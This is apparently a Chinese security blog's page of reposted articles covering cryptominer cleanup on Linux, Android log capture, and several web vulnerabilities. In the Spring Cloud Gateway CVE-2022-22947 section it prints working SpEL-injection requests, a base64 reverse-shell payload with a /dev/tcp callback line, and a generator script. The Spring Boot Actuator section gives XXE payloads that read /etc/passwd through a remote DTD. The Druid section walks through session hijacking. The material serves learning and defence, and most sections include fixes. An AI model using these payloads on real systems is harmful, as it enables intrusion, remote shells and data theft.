服务器（Linux）挖矿木马病毒（kswapd0进程使cpu爆满）

Oct 25, 2023

服务器（Linux）挖矿木马病毒（kswapd0进程使cpu爆满）

本文转自飞川撸码并作补充

前言

由于本人的阿里云服务器遭受攻击，被挖矿，导致CPU爆满，同时受到阿里云官方的邮箱、短信以及电话通知（监管部门是不允许服务器被直接或者间接挖矿）
首先是CPU爆满，远程登录不了，通过将服务器重启以后可以远程登录了。以kswapd0进程为例，其他进程类似，下面就是具体步骤了。
可参考阿里云的：挖矿程序处理最佳实践
注：如果你的服务器购买了付费版云安全中心，在云安全中心插件正常的前提下，可以利用付费版的主动防御及安全告警处理的功能来手动扫描下，对于检测到的威胁，你可以在安全告警处理页面进一步核实处理。应该可以直接处理掉。(如果没有，看下面的处理)

1.在系统里面top一下，查看了所有进程

看到这些进程一直在变化，但是，主要是由于kswapd0进程在作怪，占据了99%以上的CUP，查找资料后，发现它就是挖矿进程。

2.排查kswapd0进程

2.1 执行命令netstat -antlp | grep kswapd0 查询该进程的网络信息

netstat -antlp | grep kswapd0

发现一个与本机端口通信的是一个荷兰的ip

2.2执行命令netstat -antlp | grep 194.36.190.30 查询该地区ip的其他网络占用情况

netstat -antlp | grep 194.36.190.30

发现只有这一个进程（当然，很有可能花卉有其他进程）

3. 查找进程的详细信息

我们来到/proc/目录下查找对应的pid号，即/proc/497。可以在这目录下找到kswapd0进程的详细信息。
ll /proc/497

4.查看进程的工作空间

ps -ef | grep kswapd0

执行完后可以看到进程的pid以及进程相关文件的位置

5.切换到木马程序目录并删除

rm -rf /var/tmp/.copydie

6.清理定时任务

很多病毒都是有会在定时任务里面，以至于很难清理清楚。（由于我的服务器买油开启定时任务服务，所以里面没有任务）

查看定时任务：
crontab -l
清理计划任务: 
crontab -e

清除后将定时任务里的相关文件都清理干净，若有其他用户，将其他用户的定时任务也清理。

7.杀掉kswapd0进程

最好把木马程序和定时任务都清理完了再杀掉,要不然还会自动重启
kill -9 497 #kill -9 kswapd0进程的PID

8.总结

就是跟着进程找找目录，然后杀进程，清目录
清定时任务
服务器的ftp端口最好别用22,密码尽量设置复杂点
尽量用密钥连接服务器，最好别用账号密码连接
封闭不使用的端口，做到用一个开一个（通过防火墙和安全组策略）
密码增强复杂性
及时修补系统和软件漏洞

Exploit Reprint kswapd0

解决kswapd0 CPU占用率高的问题

Oct 25, 2023

解决kswapd0 CPU占用率高的问题

本文转自年迈的老头子并作补充

连接服务器时发现cpu使用率100%，使用top命令查看是kswapd0进程占用cpu极高

百度下后知道kswapd0进程的作用：
它是虚拟内存管理中，负责换页的，操作系统每过一定时间就会唤醒kswapd ，看看内存是否紧张，如果不紧张，则睡眠，在 kswapd 中，有2个阀值，pages_hige 和 pages_low，当空闲内存页的数量低于 pages_low的时候，kswapd进程就会扫描内存并且每次释放出32 个free pages，直到 free page的数量到达pages_high。通过阻止kswapd0进程过渡活跃地消耗CPU的方法是设置大页内存。

刚开始以为是本身服务器内存小的问题后来翻阅了其他大佬的博客后使用netstat -antlp查看了下系统外部连接，发现存在一个意大利的ip占用kswapd0进程和荷兰的ip占用rsync进程，，经查询后rsync是一个数据传输工具，此时意识到了事情的严重性

此时开始查找进程占用的文件路径

cd /proc/1266
ls -l exe
cd /proc/1246
ls -l exe

查询过后发现是使用prel写的一个脚本，删除整个文件夹后发下这两个进程依然存在，然后就开始了简单粗暴的过程直接kill掉这两个进程，kill点之后发现这两个进程不在了cpu的使用率下来了观察一段时间后确定cpu使用率正常了

Exploit Reprint kswapd0

app日志抓取

Oct 25, 2023

app日志抓取

本文转自测试之道. 并作补充

日志抓取

1.首先通过adb devices查看设备是否连接成功
2.通过adb logcat命令抓取日志，保存到D盘下的1文件夹下面的log.txt文件中:
adb logcat -v time (-v time 为了获取日志时间)

3.将程序运行在前台，通过命令查看应用包名称：adb shell dumpsys | findstr “mFocusedActivity”

4.在导出的 log.txt 文件中搜索应用包名字，查看日志问题

发生 crash 问题，搜索关键字 force finishing

发生 anr 问题

1.搜索关键字 anr in
2.treces.txt (adb shell–cd data – cd anr– traces.txt) （获取一次无响应）
3.dropbox.txt （adb shell – cd data – cd system – cd dropbox）（获取多次）

一、Mac / Windows 电脑抓取Android手机APP 日志的方法

电若脑只连接一个Android设备

1、电脑安装adb工具
2、手机打开usb调试：开发者选项开启–>usb调试开启–>允许usb调试
3、查询手机上第三方apk包的包名：
打开控制台：cmd
查询包名：adb shell pm list packages -3；（如：adb -s 11870469 shell pm list packages -3）
若琪app包名为 com.rokid.mobile
4、查询若琪app的进程号：adb shell ps | grep com.rokid.mobile （查出两个进程号）
5、电脑的当前路径创建文件存放日志：touch log
6、给文件操作权限：chmod 777 log
7、查询若琪APP的日志并导入到log文件：adb shell logcat |grep -e “进程号1” -e “进程号2” >> log
（如：adb -s 11870469 shell logcat |grep -e “6998” -e “7081” >> log ）

电脑连接多个Android设备：

1、电脑安装adb工具
2、手机打开usb调试：开发者选项开启–>usb调试开启
3、cmd 打开控制台
4、adb devices查询设备号
5、查询第三方apk包的包名：adb -s 设备号 shell pm list packages -3；（如：adb -s 11870469 shell pm list packages -3）
若琪app包名为com.rokid.mobile
6、查询第三方apk进程号：adb -s 设备号 shell ps | grep com.rokid.mobile
7、电脑的当前路径创建文件存放日志：touch log
8、给文件操作权限：chmod 777 log
9、查询若琪APP的日志并导入到log文件：adb -s 设备号 shell logcat |grep -e “进程号1” -e “进程号2” >> log
（如：adb -s 11870469 shell logcat |grep -e “6998” -e “7081” >> log ）

二、Mac电脑上抓取IOS手机APP日志的方法：使用Mac电脑自带的“控制台”

Mac电脑对iOS手机的兼容性非常好，抓日志也很简单，ios手机连上电脑，打开控制台就开始抓取日志了，抓取的是全部的系统日志，用“RokidApp”过滤出若琪APP的日志

三、Windows电脑上抓取ios 手机APP日志的方法：可以用iTools工具

1、下载安装itools工具：http://www.mydown.com/soft/59/11963059.shtml
2、插上ios手机之后要先安装驱动，驱动安装成功才能连上ios手机
3、如下图为连接手机成功

4、点击“工具箱”，点击“实时日志”，ios上所有APP的日志都能打印出来

5、保存系统日志,文件名为AppLog

6、cmd 打开控制台，过滤出若琪APP的日志并查看日志
cat AppLog | grep -e “RokidApp”
7、将若琪APP日志导出
创建文件：touch RokidAppLog
给文件赋权限：chmod 777 RokidAppLog
导出日志： cat AppLog | grep -e “RokidApp” >> RokidAppLog

AppLog Reprint

Spring Cloud Gateway rce（CVE-2022-22947）

Oct 25, 2023

Spring Cloud Gateway rce（CVE-2022-22947）

本文转自6right 并作补充

漏洞描述

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。
也是codeql发现的

漏洞影响

3.1.0
3.0.0至3.0.6
3.0.0之前的版本

复现漏洞

首先，发送以下请求以添加包含恶意SpEL 表达式的路由器：

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

反弹shell将命令替换为base64命令即可
Content-Type: application/json

其次，刷新网关路由器。SpEL 表达式将在此步骤中执行：

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

第三，发送以下请求以检索结果：

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

查看所有路由

GET /actuator/gateway/routes HTTP/1.1
Host:  123.58.236.76:40279
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

最后，发送一个 DELETE 请求来删除我们的恶意路由器：

DELETE /actuator/gateway/routes/lyy9 HTTP/1.1
Host: 123.58.236.76:40279
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0
Content-Type: application/json

删除后用记得也用refresh

反弹shell

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,反弹shellbase64}|{base64,-d}|{bash,-i}\").getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

删去new String[]初始化，直接将base64的反弹shell命令放入填入
生成base64那个站点崩了，可以自己写个python

import base64


base64_str = input("请输入反弹shell命令,如：bash -i  >&  /dev/tcp/11.11.11.11/2334 0>&1\n")
res = base64.b64encode(base64_str.encode())
print("bash -c {echo,"+res.decode()+"}|{base64,-d}|{bash,-i}")

漏洞原理

SpEL表达式是可以操作类及其方法的，可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext，而它包含了SpEL的所有功能，在允许用户控制输入的情况下可以成功造成任意命令执行
如果想要深入学习SpEL表达式可以参考Mi1k7ea师傅的文章

首先定位到漏洞的修复版本对比
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

可以看到删除了默认的StandardEvaluationContext，改用自定义的GatewayEvaluationContext来对表达式进行SpEL进行处理

默认的StandardEvaluationContext里getValue方法

static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
	Object value;
	String rawValue = entryValue;
	if (rawValue != null) {
		rawValue = rawValue.trim();
	}
	if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
		// assume it's spel
		StandardEvaluationContext context = new StandardEvaluationContext();
		context.setBeanResolver(new BeanFactoryResolver(beanFactory));
		Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
		value = expression.getValue(context);
	}
	else {
		value = entryValue;
	}
	return value;
}

可以控制 getValue 方法调用,那么就能调用任何有效的表达式达到注入效果

修复建议

3.1.x用户应升级到3.1.1+
3.0.x用户应升级到3.0.7+
如果不需要Actuator端点，可以通过management.endpoint.gateway.enable：false配置将其禁用
如果需要Actuator端点，则应使用Spring Security对其进行保护

Exploit RCE Reprint Spring

android使用Leaks检测内存泄漏

Oct 25, 2023

android使用Leaks检测内存泄漏

本文转自浅浅清风并作补充

Leaks 内存泄漏检测工具使用

网址:https://github.com/square/leakcanary
在你的module中添加依赖

1
2
3

debugCompile 'com.squareup.leakcanary:leakcanary-android:1.4-beta2'
releaseCompile 'com.squareup.leakcanary:leakcanary-android-no-op:1.4-beta2'
testCompile 'com.squareup.leakcanary:leakcanary-android-no-op:1.4-beta2'

在Application中添加: LeakCanary.install(this);

并且确保你的app处于调试模式，如下图:

当切换到release版本的时候,leakcanary-debug不会被打包.所以切换到release之后不用对leakcanary做注释或者删除等操作.
现在就可以开始使用了,重新编译你的工程,运行在模拟器或真机上.
在各个页面中测试,如果存在内存泄漏的情况,leaks会弹出通知提醒你查看.
在leaks中会有详细的泄漏说明，如产生内存泄漏的大小，产生内存泄漏的页面和相关的信息。

内存泄漏详情：

最后有一些关于内存泄漏的建议:
为了避免上下文相关的内存泄漏,记住以下几点:
不要长期引用context-activity(引用一个活动应该有相同的生命周期活动本身)
使用getApplicationContext而不是context或activity试试
避免非静态内部类的一个活动如果你不控制自己的生命周期,使用静态内部类,让一个弱引用来传递,并且记住,垃圾收集器对于内存泄漏并不保险。

下面说几个作者遇到的内存泄漏的情况以及解决方案:
使用百度地图LocationClient.在Activity被销毁时调用

if (mLocClient != null){
            mLocClient.unRegisterLocationListener(myListener);
            mLocClient.stop();
        }

使用友盟分享登录时, 传递getApplicationContext
第三方库如果需要传入Activity的时候，传递一个弱引用进去，可以避免内存泄漏,如下：

1 2	Reference<HomeActivity> reference = new WeakReference(getActivity()); new ShareAction(reference.get()).setDisplayList(displaylist);

在Handler中容易造成内存泄漏，最好使用弱引用方式，要么，在Activity销毁的时候清空所有的handler栈。

在使用WebView的时候也可能出现内存泄漏，解决办法，我的另一篇博客里有详细讲解。

在使用RxJava的时候也可能会出现内存泄漏，可以使用RxLifecycler来解决。

Leaks Reprint

YApi命令执行漏洞（MPS-2022-60494）安全风险通告

Oct 25, 2023

YApi命令执行漏洞（MPS-2022-60494）安全风险通告

本文转自奇安信 CERT 并作补充

项目介绍

YApi 是高效、易用、功能强大的 API管理平台，旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护API。
近日，奇安信CERT监测到YApi命令执行漏洞，远程未授权的攻击者可通过注入漏洞获取有效用户token，进而利用自动化测试接口绕过沙箱限制，最终在目标系统上执行任意命令。鉴于该漏洞影响范围较大，建议客户尽快做好自查及防护。

漏洞概述

YApi中存在命令执行漏洞，远程未授权的攻击者可通过注入漏洞获取有效用户token，进而利用自动化测试接口绕过沙箱限制，最终在目标系统上执行任意命令。

影响版本

YApi < 1.12.0

修复方式

一、版本升级

目前官方已有可更新版本，建议受影响用户更新至 1.12.0 及以上版本。
注：

YApi 1.11.0版本已修复Mongo注入获取Token的问题，导致攻击者无法在未授权的情况下利用此漏洞。

在YApi 1.12.0的版本更新中，仅默认禁用了Pre-request和Pre-response脚本功能，使得此漏洞在默认配置下无法利用。

二、缓解措施

在业务允许的情况下，建议将YApi部署在内网，禁止外网访问。

修改默认token加密的盐:
编辑项目根目录中的config.json，添加”passsalt”:”任意随机值”，如:
"passsalt":"this_is_a_test"
保存，重启YApi服务即可。

参考链接

https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c?diff=split

Exploit RCE Reprint YApi

CVE-2022-31692 Spring Security Oauth2 Client权限提升漏洞

Oct 25, 2023

CVE-2022-31692 Spring Security Oauth2 Client权限提升漏洞

本文转自棱镜七彩并作补充

项目介绍

Spring Security是一个能够为基于Spring的企业应用系统提供声明式的安全访问控制解决方案的安全框架。它提供了一组可以在Spring应用上下文中配置的Bean，充分利用了Spring IoC，DI（控制反转Inversion of Control ,DI:Dependency Injection 依赖注入）和AOP（面向切面编程）功能，为应用系统提供声明式的安全访问控制功能，减少了为企业系统安全控制编写大量重复代码的工作。

项目地址

https://spring.io/projects/spring-security

漏洞概述

Spring Security 的受影响版本中存在权限提升漏洞，攻击者可以修改客户端通过浏览器向授权服务器发出的请求，如果授权服务器在后续使用包含空作用域列表的 ’OAuth2 Access Token Response‘ 响应来获取访问token，攻击者可以获得权限提升，以特权身份执行恶意代码。

影响版本

org.springframework.security:spring-security-oauth2-client@[5.6, 5.6.9)
org.springframework.security:spring-security-oauth2-client@[5.7, 5.7.5)

环境搭建

下载并使用spring官方提供的样例进行测试

分别启动login和authorization-server，官方提供的authorization-server默认账号密码是user、password

漏洞分析

该漏洞是一个Spring Security Oauth2的逻辑漏洞，要想明白该漏洞，我们必须先了解下什么是Oauth2。
简单说，OAuth2 就是一种授权机制。数据的所有者告诉系统，同意授权第三方应用进入系统，获取这些数据。系统从而产生一个短期的进入令牌（token），用来代替密码，供第三方应用使用。
OAuth 2.0 规定了四种获得令牌的流程：
授权码（authorization-code）
隐藏式（implicit）
密码式（password）
客户端凭证（client credentials）
授权码模式最常用，该模式的整个授权过程的时序图如下：

CVE-2022-31692漏洞产生的原因在于最后返回token时分配的scope不当，在spring security 中，应用向授权服务器请求token的代码如下：

上述标注的代码会判断AccessTokenResponse.scope是否为空，如果条件成立，则会使用当前client配置的scope。而scope代表的是令牌有权限范围。也就是说当授权服务器返回的scope为空，则客户端权限提升至最大。因此存在权限提升漏洞。
官方修复commit如下，分析代码可知spring security实现了三种认证模式并全部修复了漏洞。

三种模式的修复代码都是类似的，选其中一个分析，从修复代码可知修复后直接使用授权服务器返回的内容。

修复方式

升级到最新版

参考链接

OAuth2.0究竟是个啥？看完这13张图你就明白了！ - 腾讯云开发者社区-腾讯云
 CVE-2022-31690: Privilege Escalation in spring-security-oauth2-client
Spring-Security Commit:Fix scope mapping
OAuth 2.0 的一个简单解释
 [iThome鐵人賽 2022] Day31 (CVE-2022-31692) Spring Security 又(?)有漏洞惹~~ 使用個 forward 功能臭了嗎?! - YouTube

Exploit RCE Reprint Spring

跨域资源共享漏洞分析总结（含实战）

Oct 6, 2023

跨源资源共享(CORS)

本文转自humble嘻并作补充

浏览器的同源策略

概念

根据字面意思就可以理解，同源策略是浏览器实施的一种关键机制，主要防止不同来源的干扰。所谓同源是指域名，协议，端口相同。
与其说同源策略的作用，不如说如果没有同源策略会产生什么后果，比如当你浏览网站A的同时也浏览了网站B，在该网站上运行的脚本代码将能访问你同时访问的网站B的数据和功能，此时如果网站A是恶意网站，如果网站B是网上银行，那么此时恶意站点就可以以你的名义进行转账。

特点

位于一个域的页面可以向另一个域提出请求
位于一个域的页面可以加载来自其他域的脚本并在自己的域中执行这个脚本（在授权的情况下）
位于一个域的页面无法读取或修改属于另一个域的cookie 或者其他DOM数据

主要功能

同源策略可以防止在一个域中运行的代码访问由其他域提供的内容
ps:但是很多功能是不受同源策略限制的：超链接、重定向、提交表单、嵌入到页面的图片等

跨域

主要跨域请求方法

JSONP
CORS

JSONP跨域

加载远程js,可以把远程js中数据带进来，一笔带过，这里并不是主要学习这个的。

CORS跨域

为了实现某些功能，允许浏览器向跨域服务器发出xmlhttprequest请求，克服SOP的限制实现跨域获取数据。

说明

最初XMLHttpRequest仅允许向与调用页面的来源相同的来源提出请求。随着HTML5的出现，这一技术得以修改，从而可以与其他域进行交互。

举例说明

首先看个实例说明一下，刚好我在逛b站，就随手抓了一个包—-如图

请求头中的Origin字段
其中红色框框的origin字段表明该请求来源于https://message.bilibili.com
需要跨域请求时，浏览器会添加origin消息头，用于指示尝试提出跨域请求的域，对服务端来说，这个字段即是跨域标志。
当浏览器收到请求并收到这个字段，首先就会判断这个源是否在允许范围之内，如果是，也就出现了下面介绍的这些字段。

响应包中的4个响应字段
Access-Control-Allow-Origin字段在这里表示接受该域名的请求，有些情况会是 * 此时也就存在了安全风险。
Access-Control-Allow-Credentials：该字段可选。它的值是一个布尔值，表示是否允许发送Cookie。当设置为true时，即表示服务器明确许可，Cookie可以包含在请求中，一起发给服务器。默认是false。
Access-Control-Expose-Headers：该字段可选。CORS请求时，XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段：Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段，就必须在Access-Control-Expose-Headers里面指定。
Access-Control-Allow-Methods: 允许使用的请求方法

CORS的安全问题

造成安全原因同样也是不安去的配置导致的，唉，不安全的配置会导致各种各样的漏洞，这也是这种缺陷一直位于owaspTop10的原因。
简单易懂的举个例子就是foo.com向bar.com发出请求时，如果响应头中包含了foo.com的CORS头，这样foo.com就可以携带cookie去调用bar.com了。

三种不安全的配置引起的安全问题

CORS服务端的 Access-Control-Allow-Origin 设置为了 * ,也就是说允许任何网站访问本服务器的资源。毫无疑问这是存在安全风险的
这里做一个实验，是一个在线实验室，就是针对这一类漏洞，如图

出现一个登入界面，使用提供给你的用户密码登入进去，点击我的账户，会发现会提供给你一个api key,并且这个服务器对跨域请求进行了不安全的配置，也就是上文提到的，这里只需要在请求头中添加Origin字段–如图

响应消息头中当然是不合法的，这个实验室同时也提供了可以利用的服务器，通过这个服务器获得本服务器的API
进入可利用服务器，向受害者服务器提出跨域请求，如图

完成攻击后，查看访问日志发现已经完成攻击。

还有一种漏洞是由于白名单的空原始值，请求消息头为Origin: null，某些应用程序可能会将null来源列入白名单，以支持应用程序的本地开发，这个实验内容和本实验类似。

返回报文头部Access-Control-Allow-Origin由请求报文Origin生成的（客户端可控数据），并且返回报文Access-Control-Allow-Credentials=true时，表明cookie可以包含在请求头中，一起发给服务器
配置了不严谨的正则表达式规则，也就是说对origin校验功能不完善，比如一种情况是只检查以a.com结尾的网站域名

1 2	origin:http://a.com Access-Control-Allow-Origin:http://a.com

可以构造一个类似http://b.a.com 就能绕过其验证机制导致信息泄露，有些情况也会导致HTTP拆分注入攻击。

通过CORS信任关系利用XSS

甚至“正确”配置的CORS也会在两个来源之间建立信任关系。如果网站信任易受跨站点脚本（XSS）攻击的来源，则攻击者可能利用XSS注入一些JavaScript，这些JavaScript使用CORS从信任易受攻击的应用程序的站点检索敏感信息。
开发人员用于对抗CORS利用的一种防御机制，是将频繁请求访问信息的域列入白名单。但这并不完全安全，因为只要白名单域中的一个子域易受到其他攻击（如XSS），那么也可以进行CORS利用。
这篇文章有几个实例和漏洞分析可以看看

使用错误的CORS破坏TLS

假设严格使用HTTPS的应用程序还将使用纯HTTP的受信任子域列入白名单。例如，当应用程序收到以下请求时：

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

该应用程序响应：

1
2
3

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

在这种情况下，能够拦截受害者用户流量的攻击者可以利用CORS配置破坏受害者与应用程序的交互。该攻击包括以下步骤：
受害用户发出任何普通的HTTP请求。
攻击者将重定向注入到： http://trusted-subdomain.vulnerable-website.com
受害者的浏览器遵循重定向。
攻击者拦截原始的HTTP请求，然后将包含CORS请求的欺骗响应返回给： https://vulnerable-website.com
受害者的浏览器发出CORS请求，包括来源： http://trusted-subdomain.vulnerable-website.com
该应用程序允许该请求，因为这是白名单来源。请求的敏感数据将在响应中返回。
攻击者的欺骗页面可以读取敏感数据，并将其传输到攻击者控制下的任何域。
即使易受攻击的网站对HTTPS的使用具有鲁棒性，没有HTTP终结点并且所有cookie被标记为安全，此攻击也有效。

防御CORS

如何预防基于CORS的攻击

CORS漏洞主要是由于配置错误而引起的。因此，预防是一个配置问题。以下各节介绍了一些针对CORS攻击的有效防御措施。

正确配置跨域请求

如果Web资源包含敏感信息，则应在Access-Control-Allow-Origin标头中正确指定来源。

只允许信任的网站

看起来似乎很明显，但是Access-Control-Allow-Origin标头中指定的来源只能是受信任的站点。特别是，无需验证就可以动态反映跨域请求的来源而无需验证，因此应避免使用。

避免将null列入白名单

避免使用标题Access-Control-Allow-Origin: null。来自内部文档和沙盒请求的跨域资源调用可以指定null来源。应针对私有和公共服务器的可信来源正确定义CORS标头。

避免在内部网络中使用通配符

避免在内部网络中使用通配符。当内部浏览器可以访问不受信任的外部域时，仅靠信任网络配置来保护内部资源是不够的。

CORS不能替代服务器端安全策略

CORS定义了浏览器的行为，绝不能替代服务器端对敏感数据的保护-攻击者可以直接从任何可信来源伪造请求。因此，除了正确配置的CORS之外，Web服务器还应继续对敏感数据应用保护，例如身份验证和会话管理。

实验室和参考

https://portswigger.net/web-security/cors

CORS Reprint

Druid未授权访问利用

Oct 6, 2023

Druid未授权访问利用

本文转自春日野穹并作补充

引言

最近挖SRC经常遇到Druid未授权访问漏洞，觉得过程比较有趣，所以简单记录一下

Druid简介

druid是阿里研发的一款数据库连接池，其开发语言为java，druid集合了c3p0、dbcp、proxool等连接池的优点，还加入了日志监控、session监控等数据监控功能，使用Druid能有效的监控DB池连接和SQL的执行情况。
更多信息可参考官方GitHub项目：https://github.com/alibaba/druid
druid虽高效好用，但当开发者配置不当时就可能造成未授权访问，攻击者可利用泄露的Session登录后台

Druid未授权访问路径

怎么探寻Druid未授权访问呢？可以直接拼接以下路径进行访问，如果页面存在，即为Druid未授权访问

html:
ip/druid/index.html 		 	##Druid Index
ip/druid/sql.html				##Druid sql监控页面
ip/druid/weburi.html			##Druid Web URI监控页面
ip/druid/websession.html		##Druid Web Session监控页面

json:
ip/druid/weburi.json			##Druid Web URI json
ip/druid/websession.json		##Druid Web Session json

Druid 登录接口：
ip/druid/login.html				##Druid登录认证页面

当一级目录不存在时，可尝试拼接二级目录进行访问
也可利用谷歌语法或目录扫描工具进行探测：

提取session

访问ip/druid/weburi.html看到以下页面则证明漏洞可被利用，如果url和session页面都为空，则说明这两项druid并不管理

当/druid/websession.html页面存在数据时，我们可利用该页面的session伪造登录，点击最后访问时间，然后复制一条离现在时间最为接近的session进行伪造登录；之所以要点击最后访问时间排序session，是因为此处记录的Session并非全部都是用户在线时的session，当用户退出系统时，session虽然还存在，但已失效，无法再利用。
也可利用py提取session然后结合burp的Intruder模块批量遍历高权限用户，session地址可参考上面给出的链接

如果我们并不清楚后台的位置，我们可再把脚本改一下，利用url监控处为我们提供清晰的站点目录架构

ok，得到后台地址，接下来我们访问一下

重新刷新一下页面，然后开启burp进行抓包，抓包过程中发现站点cookie值存在session字段，点击最后访问时间排序一下session，随后复制session过来访问一下

毫无意外，成功进去，但是权限不高，看来还是得开启神奇的Intruder模块，爆破结果如下

根据返回包信息看哪条session权限高就用它伪造登录
注：除session伪造外，url监控和sql监控也能为我们开拓攻击的思路，当我们遇到一个注入且不清楚其语法结构时，查看sql监控处有可能会得到，此外，url监控处也为我们提供了较为清晰的站点目录架构

session伪造进后台

之后就是替换cookie值伪造登录了，f12改一下session值即可

结语

druid作为数据源的一名后起之秀，凭借其出色的性能，渐渐被大家使用。当然还有他的监控页面也有这非常大的作用。但是监控页面往往包含了很多隐私的数据信息，所以需要将其保密，可以为监控页面添加一个用户名和密码，确保其安全性

Druid Exploit Reprint

Spring Boot Actuator 漏洞利用

Oct 6, 2023

Spring Boot Actuator 漏洞利用

本文转自诺言并作补充

前言

Actuator 是 Spring Boot 提供的服务监控和管理中间件。当 Spring Boot 应用程序运行时，它会自动将多个端点注册到路由进程中。而由于对这些端点的错误配置，就有可能导致一些系统信息泄露、XXE、甚至是 RCE 等安全问题。

漏洞发现

通常通过两个位置判断网站是否使用了Spring Boot框架。
1、网站图片文件是一个绿色的树叶。
2、特有的报错信息。

影响版本

Spring Boot < 1.5 默认未授权访问所有端点
Spring Boot >= 1.5 默认只允许访问/health和/info端点，但是此安全性通常被应用程序开发人员禁用

端点描述

官方文档对每个端点的功能进行了描述。

路径            描述
/autoconfig    提供了一份自动配置报告，记录哪些自动配置条件通过了，哪些没通过
/beans         描述应用程序上下文里全部的Bean，以及它们的关系
/env           获取全部环境属性
/configprops   描述配置属性(包含默认值)如何注入Bean
/dump          获取线程活动的快照
/health        报告应用程序的健康指标，这些值由HealthIndicator的实现类提供
/info          获取应用程序的定制信息，这些信息由info打头的属性提供
/mappings      描述全部的URI路径，以及它们和控制器(包含Actuator端点)的映射关系
/metrics       报告各种应用程序度量信息，比如内存用量和HTTP请求计数
/shutdown      关闭应用程序，要求endpoints.shutdown.enabled设置为true
/trace         提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

Spring Boot 1.x版本端点在根URL下注册。

Spring Boot 2.x版本端点移动到/actuator/路径。

本文中端点的位置都是基于网站根目录下，实战中遇到的情况是，端点可能存放在多级目录下，需要自行进行寻找。
访问/trace端点获取到近期服务器收到的请求信息。
如果存在登录用户的操作请求，可以伪造cookie进行登录。

访问/env端点获取环境属性。
数据库账户泄漏

Jolokia端点利用

大多数Actuator仅支持GET请求并仅显示敏感的配置数据,如果使用了不当的Jolokia端点，可能会产生XXE、甚至是RCE安全问题。

reloadByURL方法

查看/jolokia/list 中存在的 Mbeans，是否存在logback 库提供的reloadByURL方法。

xxe漏洞实现

reloadByURL方法，允许远程加载logback.xml 配置文件，并且解析 xml 文件未做任何过滤措施，导致了xxe漏洞。
1、创建logback.xml和fileread.dtd文件

logback.xml,地址为公网vpsweb服务地址。

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://x.x.x.x/fileread.dtd">%remote;%int;]>
<a>&trick;</a>

fileread.dtd

<!ENTITY % d SYSTEM "file:///etc/passwd"> 
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

2、把创建的logback.xml和fileread.dtd文件上传到公网vps的web目录下。

3、远程访问logback.xml文件。

1	www.xxx.com/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml

成功利用xxe读取到etc/passwd文件内容。

远程代码执行实现

